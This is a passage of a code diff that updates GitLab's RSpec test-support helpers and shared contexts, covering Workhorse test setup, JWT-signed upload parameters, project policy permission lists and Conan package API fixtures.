diff --git a/spec/support/helpers/stub_object_storage.rb b/spec/support/helpers/stub_object_storage.rb
index 8a52a614821..476b7d34ee5 100644
--- a/spec/support/helpers/stub_object_storage.rb
+++ b/spec/support/helpers/stub_object_storage.rb
@@ -14,7 +14,7 @@ module StubObjectStorage
end
def stub_object_storage_uploader(
- config:,
+ config:,
uploader:,
remote_directory:,
enabled: true,
diff --git a/spec/support/helpers/stubbed_feature.rb b/spec/support/helpers/stubbed_feature.rb
index e78efcf6b75..d4e9af7a031 100644
--- a/spec/support/helpers/stubbed_feature.rb
+++ b/spec/support/helpers/stubbed_feature.rb
@@ -37,10 +37,7 @@ module StubbedFeature
# We do `m.call` as we want to validate the execution of method arguments
# and a feature flag state if it is not persisted
unless Feature.persisted_name?(args.first)
- # TODO: this is hack to support `promo_feature_available?`
- # We enable all feature flags by default unless they are `promo_`
- # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/218667
- feature_flag = true unless args.first.to_s.start_with?('promo_')
+ feature_flag = true
end
feature_flag
diff --git a/spec/support/helpers/test_env.rb b/spec/support/helpers/test_env.rb
index 7dae960410d..641ed24207e 100644
--- a/spec/support/helpers/test_env.rb
+++ b/spec/support/helpers/test_env.rb
@@ -247,8 +247,9 @@ module TestEnv
'GitLab Workhorse',
install_dir: workhorse_dir,
version: Gitlab::Workhorse.version,
- task: "gitlab:workhorse:install[#{install_workhorse_args}]"
- )
+ task: "gitlab:workhorse:install[#{install_workhorse_args}]") do
+ Gitlab::SetupHelper::Workhorse.create_configuration(workhorse_dir, nil)
+ end
end
def workhorse_dir
@@ -259,16 +260,22 @@ module TestEnv
host = "[#{host}]" if host.include?(':')
listen_addr = [host, port].join(':')
+ config_path = Gitlab::SetupHelper::Workhorse.get_config_path(workhorse_dir)
+
+ # This should be set up in setup_workhorse, but since
+ # component_needs_update? only checks that versions are consistent,
+ # we need to ensure the config file exists. This line can be removed
+ # later after a new Workhorse version is updated.
+ Gitlab::SetupHelper::Workhorse.create_configuration(workhorse_dir, nil) unless File.exist?(config_path)
+
workhorse_pid = spawn(
+ { 'PATH' => "#{ENV['PATH']}:#{workhorse_dir}" },
File.join(workhorse_dir, 'gitlab-workhorse'),
'-authSocket', upstream,
'-documentRoot', Rails.root.join('public').to_s,
'-listenAddr', listen_addr,
'-secretPath', Gitlab::Workhorse.secret_path.to_s,
- # TODO: Needed for workhorse + redis features.
- # https://gitlab.com/gitlab-org/gitlab/-/issues/209245
- #
- # '-config', '',
+ '-config', config_path,
'-logFile', 'log/workhorse-test.log',
'-logFormat', 'structured',
'-developmentMode' # to serve assets and rich error messages
diff --git a/spec/support/helpers/usage_data_helpers.rb b/spec/support/helpers/usage_data_helpers.rb
index fab775dd404..d92fcdc2d4a 100644
--- a/spec/support/helpers/usage_data_helpers.rb
+++ b/spec/support/helpers/usage_data_helpers.rb
@@ -88,6 +88,8 @@ module UsageDataHelpers
projects_jira_active
projects_jira_server_active
projects_jira_cloud_active
+ projects_jira_dvcs_cloud_active
+ projects_jira_dvcs_server_active
projects_slack_active
projects_slack_slash_commands_active
projects_custom_issue_tracker_active
@@ -136,6 +138,7 @@ module UsageDataHelpers
USAGE_DATA_KEYS = %i(
active_user_count
counts
+ counts_monthly
recorded_at
edition
version
@@ -160,6 +163,7 @@ module UsageDataHelpers
web_ide_clientside_preview_enabled
ingress_modsecurity_enabled
object_store
+ topology
).freeze
def stub_usage_data_connections
@@ -220,17 +224,8 @@ module UsageDataHelpers
)
end
- def expect_prometheus_api_to(*receive_matchers)
- expect_next_instance_of(Gitlab::PrometheusClient) do |client|
- receive_matchers.each { |m| expect(client).to m }
- end
- end
-
- def allow_prometheus_queries
- allow_next_instance_of(Gitlab::PrometheusClient) do |client|
- allow(client).to receive(:aggregate).and_return({})
- allow(client).to receive(:query).and_return({})
- end
+ def expect_prometheus_client_to(*receive_matchers)
+ receive_matchers.each { |m| expect(prometheus_client).to m }
end
def for_defined_days_back(days: [29, 2])
diff --git a/spec/support/helpers/wiki_helpers.rb b/spec/support/helpers/wiki_helpers.rb
index ae0d53d1297..e59c6bde264 100644
--- a/spec/support/helpers/wiki_helpers.rb
+++ b/spec/support/helpers/wiki_helpers.rb
@@ -3,6 +3,11 @@
module WikiHelpers
extend self
+ def stub_group_wikis(enabled)
+ stub_feature_flags(group_wikis: enabled)
+ stub_licensed_features(group_wikis: enabled)
+ end
+
def wait_for_svg_to_be_loaded(example = nil)
# Ensure the SVG is loaded first before clicking the button
find('.svg-content .js-lazy-loaded') if example.nil? || example.metadata.key?(:js)
diff --git a/spec/support/helpers/workhorse_helpers.rb b/spec/support/helpers/workhorse_helpers.rb
index f16b6c1e910..7e95f49aea2 100644
--- a/spec/support/helpers/workhorse_helpers.rb
+++ b/spec/support/helpers/workhorse_helpers.rb
@@ -3,6 +3,8 @@
module WorkhorseHelpers
extend self
+ UPLOAD_PARAM_NAMES = %w[name size path remote_id sha256 type].freeze
+
def workhorse_send_data
@_workhorse_send_data ||= begin
header = response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]
@@ -59,6 +61,7 @@ module WorkhorseHelpers
file = workhorse_params.delete(key)
rewritten_fields[key] = file.path if file
workhorse_params = workhorse_disk_accelerated_file_params(key, file).merge(workhorse_params)
+ workhorse_params = workhorse_params.merge(jwt_file_upload_param(key: key, params: workhorse_params))
end
headers = if send_rewritten_field
@@ -74,8 +77,19 @@ module WorkhorseHelpers
private
- def jwt_token(data = {})
- JWT.encode({ 'iss' => 'gitlab-workhorse' }.merge(data), Gitlab::Workhorse.secret, 'HS256')
+ def jwt_file_upload_param(key:, params:)
+ upload_params = UPLOAD_PARAM_NAMES.map do |file_upload_param|
+ [file_upload_param, params["#{key}.#{file_upload_param}"]]
+ end
+ upload_params = upload_params.to_h.compact
+
+ return {} if upload_params.empty?
+
+ { "#{key}.gitlab-workhorse-upload" => jwt_token('upload' => upload_params) }
+ end
+
+ def jwt_token(data = {}, issuer: 'gitlab-workhorse', secret: Gitlab::Workhorse.secret, algorithm: 'HS256')
+ JWT.encode({ 'iss' => issuer }.merge(data), secret, algorithm)
end
def workhorse_rewritten_fields_header(fields)
diff --git a/spec/support/import_export/configuration_helper.rb b/spec/support/import_export/configuration_helper.rb
index 6f67b0f3dd7..b731ee626c0 100644
--- a/spec/support/import_export/configuration_helper.rb
+++ b/spec/support/import_export/configuration_helper.rb
@@ -44,8 +44,8 @@ module ConfigurationHelper
import_export_config = config_hash(config)
excluded_attributes = import_export_config[:excluded_attributes][relation_name.to_sym]
included_attributes = import_export_config[:included_attributes][relation_name.to_sym]
- attributes = attributes - Gitlab::Json.parse(excluded_attributes.to_json) if excluded_attributes
- attributes = attributes & Gitlab::Json.parse(included_attributes.to_json) if included_attributes
+ attributes -= Gitlab::Json.parse(excluded_attributes.to_json) if excluded_attributes
+ attributes &= Gitlab::Json.parse(included_attributes.to_json) if included_attributes
attributes
end
diff --git a/spec/support/matchers/markdown_matchers.rb b/spec/support/matchers/markdown_matchers.rb
index 103019d8dd8..6e75fa58700 100644
--- a/spec/support/matchers/markdown_matchers.rb
+++ b/spec/support/matchers/markdown_matchers.rb
@@ -174,6 +174,15 @@ module MarkdownMatchers
end
end
+ # AlertReferenceFilter
+ matcher :reference_alerts do
+ set_default_markdown_messages
+
+ match do |actual|
+ expect(actual).to have_selector('a.gfm.gfm-alert', count: 5)
+ end
+ end
+
# TaskListFilter
matcher :parse_task_lists do
set_default_markdown_messages
diff --git a/spec/support/shared_contexts/features/file_uploads_shared_context.rb b/spec/support/shared_contexts/features/file_uploads_shared_context.rb
new file mode 100644
index 00000000000..972d25e81d2
--- /dev/null
+++ b/spec/support/shared_contexts/features/file_uploads_shared_context.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'file upload requests helpers' do
+ def capybara_url(path)
+ "http://#{Capybara.current_session.server.host}:#{Capybara.current_session.server.port}#{path}"
+ end
+end
diff --git a/spec/support/shared_contexts/finders/users_finder_shared_contexts.rb b/spec/support/shared_contexts/finders/users_finder_shared_contexts.rb
index fc8f9d2f407..54022aeb494 100644
--- a/spec/support/shared_contexts/finders/users_finder_shared_contexts.rb
+++ b/spec/support/shared_contexts/finders/users_finder_shared_contexts.rb
@@ -5,4 +5,5 @@ RSpec.shared_context 'UsersFinder#execute filter by project context' do
let_it_be(:blocked_user) { create(:user, :blocked, username: 'notsorandom') }
let_it_be(:external_user) { create(:user, :external) }
let_it_be(:omniauth_user) { create(:omniauth_user, provider: 'twitter', extern_uid: '123456') }
+ let_it_be(:internal_user) { User.alert_bot }
end
diff --git a/spec/support/shared_contexts/lib/gitlab/middleware/multipart_shared_contexts.rb b/spec/support/shared_contexts/lib/gitlab/middleware/multipart_shared_contexts.rb
index f1554ea8e9f..ec5bea34e8b 100644
--- a/spec/support/shared_contexts/lib/gitlab/middleware/multipart_shared_contexts.rb
+++ b/spec/support/shared_contexts/lib/gitlab/middleware/multipart_shared_contexts.rb
@@ -1,42 +1,88 @@
# frozen_string_literal: true
-RSpec.shared_context 'multipart middleware context' do
- let(:app) { double(:app) }
- let(:middleware) { described_class.new(app) }
- let(:original_filename) { 'filename' }
-
- # Rails 5 doesn't combine the GET/POST parameters in
- # ActionDispatch::HTTP::Parameters if action_dispatch.request.parameters is set:
- # https://github.com/rails/rails/blob/aea6423f013ca48f7704c70deadf2cd6ac7d70a1/actionpack/lib/action_dispatch/http/parameters.rb#L41
- def get_params(env)
- req = ActionDispatch::Request.new(env)
- req.GET.merge(req.POST)
+# This context provides one temporary file for the multipart spec
+#
+# Here are the available variables:
+# - uploaded_file
+# - uploaded_filepath
+# - filename
+# - remote_id
+RSpec.shared_context 'with one temporary file for multipart' do |within_tmp_sub_dir: false|
+ let(:uploaded_filepath) { uploaded_file.path }
+
+ around do |example|
+ Tempfile.open('uploaded_file2') do |tempfile|
+ @uploaded_file = tempfile
+ @filename = 'test_file.png'
+ @remote_id = 'remote_id'
+
+ example.run
+ end
end
- def post_env(rewritten_fields, params, secret, issuer)
- token = JWT.encode({ 'iss' => issuer, 'rewritten_fields' => rewritten_fields }, secret, 'HS256')
- Rack::MockRequest.env_for(
- '/',
- method: 'post',
- params: params,
- described_class::RACK_ENV_KEY => token
- )
+ attr_reader :uploaded_file, :filename, :remote_id
+end
+
+# This context provides two temporary files for the multipart spec
+#
+# Here are the available variables:
+# - uploaded_file
+# - uploaded_filepath
+# - filename
+# - remote_id
+# - tmp_sub_dir (only when using within_tmp_sub_dir: true)
+# - uploaded_file2
+# - uploaded_filepath2
+# - filename2
+# - remote_id2
+RSpec.shared_context 'with two temporary files for multipart' do
+ include_context 'with one temporary file for multipart'
+
+ let(:uploaded_filepath2) { uploaded_file2.path }
+
+ around do |example|
+ Tempfile.open('uploaded_file2') do |tempfile|
+ @uploaded_file2 = tempfile
+ @filename2 = 'test_file2.png'
+ @remote_id2 = 'remote_id2'
+
+ example.run
+ end
end
- def with_tmp_dir(uploads_sub_dir, storage_path = '')
- Dir.mktmpdir do |dir|
- upload_dir = File.join(dir, storage_path, uploads_sub_dir)
- FileUtils.mkdir_p(upload_dir)
+ attr_reader :uploaded_file2, :filename2, :remote_id2
+end
+
+# This context provides three temporary files for the multipart spec
+#
+# Here are the available variables:
+# - uploaded_file
+# - uploaded_filepath
+# - filename
+# - remote_id
+# - tmp_sub_dir (only when using within_tmp_sub_dir: true)
+# - uploaded_file2
+# - uploaded_filepath2
+# - filename2
+# - remote_id2
+# - uploaded_file3
+# - uploaded_filepath3
+# - filename3
+# - remote_id3
+RSpec.shared_context 'with three temporary files for multipart' do
+ include_context 'with two temporary files for multipart'
- allow(Rails).to receive(:root).and_return(dir)
- allow(Dir).to receive(:tmpdir).and_return(File.join(Dir.tmpdir, 'tmpsubdir'))
- allow(GitlabUploader).to receive(:root).and_return(File.join(dir, storage_path))
+ let(:uploaded_filepath3) { uploaded_file3.path }
- Tempfile.open('top-level', upload_dir) do |tempfile|
- env = post_env({ 'file' => tempfile.path }, { 'file.name' => original_filename, 'file.path' => tempfile.path }, Gitlab::Workhorse.secret, 'gitlab-workhorse')
+ around do |example|
+ Tempfile.open('uploaded_file3') do |tempfile|
+ @uploaded_file3 = tempfile
+ @filename3 = 'test_file3.png'
+ @remote_id3 = 'remote_id3'
- yield dir, env
- end
+ example.run
end
end
+
+ attr_reader :uploaded_file3, :filename3, :remote_id3
end
diff --git a/spec/support/shared_contexts/navbar_structure_context.rb b/spec/support/shared_contexts/navbar_structure_context.rb
index e276a54224b..747358fc1e0 100644
--- a/spec/support/shared_contexts/navbar_structure_context.rb
+++ b/spec/support/shared_contexts/navbar_structure_context.rb
@@ -119,10 +119,10 @@ RSpec.shared_context 'group navbar structure' do
nav_item: _('Settings'),
nav_sub_items: [
_('General'),
+ _('Integrations'),
_('Projects'),
_('Repository'),
_('CI / CD'),
- _('Integrations'),
_('Webhooks'),
_('Audit Events')
]
@@ -138,6 +138,13 @@ RSpec.shared_context 'group navbar structure' do
}
end
+ let(:push_rules_nav_item) do
+ {
+ nav_item: _('Push Rules'),
+ nav_sub_items: []
+ }
+ end
+
let(:structure) do
[
{
@@ -160,6 +167,7 @@ RSpec.shared_context 'group navbar structure' do
nav_item: _('Merge Requests'),
nav_sub_items: []
},
+ (push_rules_nav_item if Gitlab.ee?),
{
nav_item: _('Kubernetes'),
nav_sub_items: []
diff --git a/spec/support/shared_contexts/policies/project_policy_shared_context.rb b/spec/support/shared_contexts/policies/project_policy_shared_context.rb
index 5339fa003b9..3016494ac8d 100644
--- a/spec/support/shared_contexts/policies/project_policy_shared_context.rb
+++ b/spec/support/shared_contexts/policies/project_policy_shared_context.rb
@@ -1,30 +1,36 @@
# frozen_string_literal: true
RSpec.shared_context 'ProjectPolicy context' do
+ let_it_be(:anonymous) { nil }
let_it_be(:guest) { create(:user) }
let_it_be(:reporter) { create(:user) }
let_it_be(:developer) { create(:user) }
let_it_be(:maintainer) { create(:user) }
let_it_be(:owner) { create(:user) }
let_it_be(:admin) { create(:admin) }
- let(:project) { create(:project, :public, namespace: owner.namespace) }
+ let_it_be(:non_member) { create(:user) }
+ let_it_be_with_refind(:private_project) { create(:project, :private, namespace: owner.namespace) }
+ let_it_be_with_refind(:internal_project) { create(:project, :internal, namespace: owner.namespace) }
+ let_it_be_with_refind(:public_project) { create(:project, :public, namespace: owner.namespace) }
let(:base_guest_permissions) do
%i[
- read_project read_board read_list read_wiki read_issue
- read_project_for_iids read_issue_iid read_label
- read_milestone read_snippet read_project_member read_note
- create_project create_issue create_note upload_file create_merge_request_in
- award_emoji
+ award_emoji create_issue create_merge_request_in create_note
+ create_project read_board read_issue read_issue_iid read_issue_link
+ read_label read_list read_milestone read_note read_project
+ read_project_for_iids read_project_member read_release read_snippet
+ read_wiki upload_file
]
end
let(:base_reporter_permissions) do
%i[
- download_code fork_project create_snippet update_issue
- admin_issue admin_label admin_list read_commit_status read_build
- read_container_image read_pipeline read_environment read_deployment
- read_merge_request download_wiki_code read_sentry_issue read_prometheus
+ admin_issue admin_issue_link admin_label admin_list create_snippet
+ download_code download_wiki_code fork_project metrics_dashboard
+ read_build read_commit_status read_confidential_issues
+ read_container_image read_deployment read_environment read_merge_request
+ read_metrics_dashboard_annotation read_pipeline read_prometheus
+ read_sentry_issue update_issue
]
end
@@ -34,37 +40,42 @@ RSpec.shared_context 'ProjectPolicy context' do
let(:developer_permissions) do
%i[
- admin_milestone admin_merge_request update_merge_request create_commit_status
- update_commit_status create_build update_build create_pipeline
- update_pipeline create_merge_request_from create_wiki push_code
- resolve_note create_container_image update_container_image
- create_environment create_deployment update_deployment create_release update_release
- update_environment daily_statistics
+ admin_merge_request admin_milestone admin_tag create_build
+ create_commit_status create_container_image create_deployment
+ create_environment create_merge_request_from
+ create_metrics_dashboard_annotation create_pipeline create_release
+ create_wiki daily_statistics delete_metrics_dashboard_annotation
+ destroy_container_image push_code read_pod_logs read_terraform_state
+ resolve_note update_build update_commit_status update_container_image
+ update_deployment update_environment update_merge_request
+ update_metrics_dashboard_annotation update_pipeline update_release
]
end
let(:base_maintainer_permissions) do
%i[
- push_to_delete_protected_branch update_snippet
- admin_snippet admin_project_member admin_note admin_wiki admin_project
- admin_commit_status admin_build admin_container_image
- admin_pipeline admin_environment admin_deployment destroy_release add_cluster
+ add_cluster admin_build admin_commit_status admin_container_image
+ admin_deployment admin_environment admin_note admin_pipeline
+ admin_project admin_project_member admin_snippet admin_terraform_state
+ admin_wiki create_deploy_token destroy_deploy_token destroy_release
+ push_to_delete_protected_branch read_deploy_token update_snippet
]
end
let(:public_permissions) do
%i[
- download_code fork_project read_commit_status read_pipeline
- read_container_image build_download_code build_read_container_image
- download_wiki_code read_release
+ build_download_code build_read_container_image download_code
+ download_wiki_code fork_project read_commit_status read_container_image
+ read_pipeline read_release
]
end
let(:base_owner_permissions) do
%i[
- change_namespace change_visibility_level rename_project remove_project
- archive_project remove_fork_project destroy_merge_request destroy_issue
- set_issue_iid set_issue_created_at set_issue_updated_at set_note_created_at
+ archive_project change_namespace change_visibility_level destroy_issue
+ destroy_merge_request remove_fork_project remove_project rename_project
+ set_issue_created_at set_issue_iid set_issue_updated_at
+ set_note_created_at
]
end
@@ -79,10 +90,12 @@ RSpec.shared_context 'ProjectPolicy context' do
let(:maintainer_permissions) { base_maintainer_permissions + additional_maintainer_permissions }
let(:owner_permissions) { base_owner_permissions + additional_owner_permissions }
- before do
- project.add_guest(guest)
- project.add_maintainer(maintainer)
- project.add_developer(developer)
- project.add_reporter(reporter)
+ before_all do
+ [private_project, internal_project, public_project].each do |project|
+ project.add_guest(guest)
+ project.add_reporter(reporter)
+ project.add_developer(developer)
+ project.add_maintainer(maintainer)
+ end
end
end
diff --git a/spec/support/shared_contexts/project_service_jira_context.rb b/spec/support/shared_contexts/project_service_jira_context.rb
index 4ca5c99323a..8e01de70846 100644
--- a/spec/support/shared_contexts/project_service_jira_context.rb
+++ b/spec/support/shared_contexts/project_service_jira_context.rb
@@ -5,7 +5,7 @@ RSpec.shared_context 'project service Jira context' do
let(:test_url) { 'http://jira.example.com/rest/api/2/serverInfo' }
def fill_form(disable: false)
- click_active_toggle if disable
+ click_active_checkbox if disable
fill_in 'service_url', with: url
fill_in 'service_username', with: 'username'
diff --git a/spec/support/shared_contexts/project_service_shared_context.rb b/spec/support/shared_contexts/project_service_shared_context.rb
index a72d4901b72..b4b9ab456e0 100644
--- a/spec/support/shared_contexts/project_service_shared_context.rb
+++ b/spec/support/shared_contexts/project_service_shared_context.rb
@@ -18,19 +18,27 @@ RSpec.shared_context 'project service activation' do
click_link(name)
end
- def click_active_toggle
- find('input[name="service[active]"] + button').click
+ def click_active_checkbox
+ find('input[name="service[active]"]').click
+ end
+
+ def click_save_integration
+ click_button('Save changes')
end
def click_test_integration
- click_button('Test settings and save changes')
+ click_link('Test settings')
end
- def click_test_then_save_integration
+ def click_test_then_save_integration(expect_test_to_fail: true)
click_test_integration
- expect(page).to have_content('Test failed.')
+ if expect_test_to_fail
+ expect(page).to have_content('Connection failed.')
+ else
+ expect(page).to have_content('Connection successful.')
+ end
- click_link('Save anyway')
+ click_save_integration
end
end
diff --git a/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb b/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
new file mode 100644
index 00000000000..580ebf00dcb
--- /dev/null
+++ b/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'conan api setup' do
+ include PackagesManagerApiSpecHelpers
+ include HttpBasicAuthHelpers
+
+ let(:package) { create(:conan_package) }
+ let_it_be(:personal_access_token) { create(:personal_access_token) }
+ let_it_be(:user) { personal_access_token.user }
+ let_it_be(:base_secret) { SecureRandom.base64(64) }
+ let_it_be(:job) { create(:ci_build, :running, user: user) }
+ let_it_be(:job_token) { job.token }
+ let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
+
+ let(:project) { package.project }
+ let(:auth_token) { personal_access_token.token }
+ let(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
+
+ let(:headers) do
+ { 'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Basic.encode_credentials('foo', auth_token) }
+ end
+
+ let(:jwt_secret) do
+ OpenSSL::HMAC.hexdigest(
+ OpenSSL::Digest::SHA256.new,
+ base_secret,
+ Gitlab::ConanToken::HMAC_KEY
+ )
+ end
+
+ before do
+ project.add_developer(user)
+ allow(Settings).to receive(:attr_encrypted_db_key_base).and_return(base_secret)
+ end
+end
+
+RSpec.shared_context 'conan recipe endpoints' do
+ include PackagesManagerApiSpecHelpers
+ include HttpBasicAuthHelpers
+
+ let(:jwt) { build_jwt(personal_access_token) }
+ let(:headers) { build_token_auth_header(jwt.encoded) }
+ let(:conan_package_reference) { '123456789' }
+ let(:presenter) { double('::Packages::Conan::PackagePresenter') }
+
+ before do
+ allow(::Packages::Conan::PackagePresenter).to receive(:new)
+ .with(package, user, package.project, any_args)
+ .and_return(presenter)
+ end
+end
+
+RSpec.shared_context 'conan file download endpoints' do
+ include PackagesManagerApiSpecHelpers
+ include HttpBasicAuthHelpers
+
+ let(:jwt) { build_jwt(personal_access_token) }
+ let(:headers) { build_token_auth_header(jwt.encoded) }
+ let(:recipe_path) { package.conan_recipe_path }
+ let(:package_file) { package.package_files.find_by(file_name: 'conaninfo.txt') }
+ let(:recipe_file) { package.package_files.find_by(file_name: 'conanfile.py') }
+ let(:metadata) { package_file.conan_file_metadatum }
+end
+
+RSpec.shared_context 'conan file upload endpoints' do
+ include PackagesManagerApiSpecHelpers
+ include WorkhorseHelpers
+ include HttpBasicAuthHelpers
+
+ let(:jwt) { build_jwt(personal_access_token) }
+ let(:workhorse_token) { JWT.encode({ 'iss' => 'gitlab-workhorse' }, Gitlab::Workhorse.secret, 'HS256') }
+ let(:workhorse_header) { { 'GitLab-Workhorse' => '1.0', Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER => workhorse_token } }
+ let(:headers_with_token) { build_token_auth_header(jwt.encoded).merge(workhorse_header) }
+ let(:recipe_path) { "foo/bar/#{project.full_path.tr('/', '+')}/baz"}
+end
diff --git a/spec/support/shared_contexts/serializers/group_group_link_shared_context.rb b/spec/support/shared_contexts/serializers/group_group_link_shared_context.rb
new file mode 100644
index 00000000000..fce78957eba
--- /dev/null
+++ b/spec/support/shared_contexts/serializers/group_group_link_shared_context.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'group_group_link' do
+ let(:shared_with_group) { create(:group) }
+ let(:shared_group) { create(:group) }
+
+ let!(:group_group_link) do
+ create(
+ :group_group_link,
+ {
+ shared_group: shared_group,
+ shared_with_group: shared_with_group,
+ expires_at: '2020-05-12'
+ }
+ )
+ end
+end
diff --git a/spec/support/shared_contexts/services_shared_context.rb b/spec/support/shared_contexts/services_shared_context.rb
index 899b43ade01..2bd516a2339 100644
--- a/spec/support/shared_contexts/services_shared_context.rb
+++ b/spec/support/shared_contexts/services_shared_context.rb
@@ -2,6 +2,8 @@
Service.available_services_names.each do |service|
RSpec.shared_context service do
+ include JiraServiceHelper if service == 'jira'
+
let(:dashed_service) { service.dasherize }
let(:service_method) { "#{service}_service".to_sym }
let(:service_klass) { "#{service}_service".classify.constantize }
@@ -39,6 +41,7 @@ Service.available_services_names.each do |service|
before do
enable_license_for_service(service)
+ stub_jira_service_test if service == 'jira'
end
def initialize_service(service)
diff --git a/spec/support/shared_examples/ci/jobs_shared_examples.rb b/spec/support/shared_examples/ci/jobs_shared_examples.rb
new file mode 100644
index 00000000000..d952d4a98eb
--- /dev/null
+++ b/spec/support/shared_examples/ci/jobs_shared_examples.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'a job with artifacts and trace' do |result_is_array: true|
+ context 'with artifacts and trace' do
+ let!(:second_job) { create(:ci_build, :trace_artifact, :artifacts, :test_reports, pipeline: pipeline) }
+
+ it 'returns artifacts and trace data', :skip_before_request do
+ get api(api_endpoint, api_user)
+ json_job = json_response.is_a?(Array) ? json_response.find { |job| job['id'] == second_job.id } : json_response
+
+ expect(json_job['artifacts_file']).not_to be_nil
+ expect(json_job['artifacts_file']).not_to be_empty
+ expect(json_job['artifacts_file']['filename']).to eq(second_job.artifacts_file.filename)
+ expect(json_job['artifacts_file']['size']).to eq(second_job.artifacts_file.size)
+ expect(json_job['artifacts']).not_to be_nil
+ expect(json_job['artifacts']).to be_an Array
+ expect(json_job['artifacts'].size).to eq(second_job.job_artifacts.length)
+ json_job['artifacts'].each do |artifact|
+ expect(artifact).not_to be_nil
+ file_type = Ci::JobArtifact.file_types[artifact['file_type']]
+ expect(artifact['size']).to eq(second_job.job_artifacts.find_by(file_type: file_type).size)
+ expect(artifact['filename']).to eq(second_job.job_artifacts.find_by(file_type: file_type).filename)
+ expect(artifact['file_format']).to eq(second_job.job_artifacts.find_by(file_type: file_type).file_format)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/binary_blob_shared_examples.rb b/spec/support/shared_examples/controllers/binary_blob_shared_examples.rb
deleted file mode 100644
index acce7642cfe..00000000000
--- a/spec/support/shared_examples/controllers/binary_blob_shared_examples.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'editing snippet checks blob is binary' do
- let(:snippets_binary_blob_value) { true }
-
- before do
- sign_in(user)
-
- allow_next_instance_of(Blob) do |blob|
- allow(blob).to receive(:binary?).and_return(binary)
- end
-
- stub_feature_flags(snippets_binary_blob: snippets_binary_blob_value)
-
- subject
- end
-
- context 'when blob is text' do
- let(:binary) { false }
-
- it 'responds with status 200' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to render_template(:edit)
- end
- end
-
- context 'when blob is binary' do
- let(:binary) { true }
-
- it 'responds with status 200' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to render_template(:edit)
- end
-
- context 'when feature flag :snippets_binary_blob is disabled' do
- let(:snippets_binary_blob_value) { false }
-
- it 'redirects away' do
- expect(response).to redirect_to(gitlab_snippet_path(snippet))
- end
- end
- end
-end
-
-RSpec.shared_examples 'updating snippet checks blob is binary' do
- let(:snippets_binary_blob_value) { true }
-
- before do
- sign_in(user)
-
- allow_next_instance_of(Blob) do |blob|
- allow(blob).to receive(:binary?).and_return(binary)
- end
-
- stub_feature_flags(snippets_binary_blob: snippets_binary_blob_value)
-
- subject
- end
-
- context 'when blob is text' do
- let(:binary) { false }
-
- it 'updates successfully' do
- expect(snippet.reload.title).to eq title
- expect(response).to redirect_to(gitlab_snippet_path(snippet))
- end
- end
-
- context 'when blob is binary' do
- let(:binary) { true }
-
- it 'updates successfully' do
- expect(snippet.reload.title).to eq title
- expect(response).to redirect_to(gitlab_snippet_path(snippet))
- end
-
- context 'when feature flag :snippets_binary_blob is disabled' do
- let(:snippets_binary_blob_value) { false }
-
- it 'redirects away without updating' do
- expect(response).to redirect_to(gitlab_snippet_path(snippet))
- expect(snippet.reload.title).not_to eq title
- end
- end
- end
-end
diff --git a/spec/support/shared_examples/controllers/instance_statistics_controllers_shared_examples.rb b/spec/support/shared_examples/controllers/instance_statistics_controllers_shared_examples.rb
deleted file mode 100644
index 17087456720..00000000000
--- a/spec/support/shared_examples/controllers/instance_statistics_controllers_shared_examples.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'instance statistics availability' do
- let(:user) { create(:user) }
-
- before do
- sign_in(user)
-
- stub_application_setting(usage_ping_enabled: true)
- end
-
- describe 'GET #index' do
- it 'is available when the feature is available publicly' do
- get :index
-
- expect(response).to have_gitlab_http_status(:success)
- end
-
- it 'renders a 404 when the feature is not available publicly' do
- stub_application_setting(instance_statistics_visibility_private: true)
-
- get :index
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
-
- context 'for admins' do
- let(:user) { create(:admin) }
-
- context 'when admin mode disabled' do
- it 'forbids access when the feature is not available publicly' do
- stub_application_setting(instance_statistics_visibility_private: true)
-
- get :index
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
- context 'when admin mode enabled', :enable_admin_mode do
- it 'allows access when the feature is not available publicly' do
- stub_application_setting(instance_statistics_visibility_private: true)
-
- get :index
-
- expect(response).to have_gitlab_http_status(:success)
- end
- end
- end
- end
-end
diff --git a/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb b/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb
index 62a1a07b6c1..02915206cc5 100644
--- a/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb
@@ -42,10 +42,6 @@ RSpec.shared_examples 'issuables list meta-data' do |issuable_type, action = nil
let(:result_issuable) { issuables.first }
let(:search) { result_issuable.title }
- before do
- stub_feature_flags(attempt_project_search_optimizations: true)
- end
-
# .simple_sorts is the same across all Sortable classes
sorts = ::Issue.simple_sorts.keys + %w[popularity priority label_priority]
sorts.each do |sort|
diff --git a/spec/support/shared_examples/controllers/unique_hll_events_examples.rb b/spec/support/shared_examples/controllers/unique_hll_events_examples.rb
new file mode 100644
index 00000000000..7e5a225f020
--- /dev/null
+++ b/spec/support/shared_examples/controllers/unique_hll_events_examples.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'tracking unique hll events' do |feature_flag|
+ context 'when format is HTML' do
+ let(:format) { :html }
+
+ it 'tracks unique event' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(expected_type, target_id)
+
+ subject
+ end
+
